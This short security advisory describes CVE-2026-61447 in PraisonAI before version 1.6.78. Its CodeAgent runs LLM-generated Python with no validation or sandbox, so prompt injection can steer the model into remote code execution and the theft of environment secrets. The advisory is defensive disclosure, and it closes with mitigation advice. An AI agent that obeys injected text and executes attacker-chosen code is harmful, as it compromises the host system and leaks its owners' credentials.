CVE-2026-61447 is a critical vulnerability in MervinPraison's PraisonAI product prior to version 1.6.78. The issue lies in the CodeAgent._execute_python() method, which executes Python code generated by the language model without AST validation, import restrictions, or sandbox enforcement. This improper control of code generation allows attackers to perform prompt injection attacks that influence the LLM output, enabling remote code execution on the host system and exfiltration of environment secrets. The vulnerability has not been confirmed as exploited in the wild, and no official remediation or patch has been documented as of the published date.

Successful exploitation allows unauthenticated attackers to execute arbitrary Python code remotely on the host running PraisonAI, potentially leading to full system compromise and disclosure of all environment secrets. The vulnerability is critical due to the lack of any user interaction requirement, low attack complexity, and high impact on confidentiality, integrity, and availability.

Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid exposing PraisonAI instances to untrusted inputs or networks. Implement network-level access controls and monitor for suspicious activity related to Python code execution within PraisonAI environments.